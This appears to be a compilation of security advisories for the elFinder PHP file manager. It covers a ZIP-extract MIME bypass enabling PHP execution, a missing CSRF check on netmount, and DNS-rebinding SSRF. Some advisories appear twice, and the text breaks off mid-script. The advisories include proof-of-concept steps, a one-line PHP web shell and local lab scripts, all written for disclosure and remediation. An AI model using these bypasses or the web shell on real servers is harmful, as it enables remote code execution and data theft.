studio-42/elfinder

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
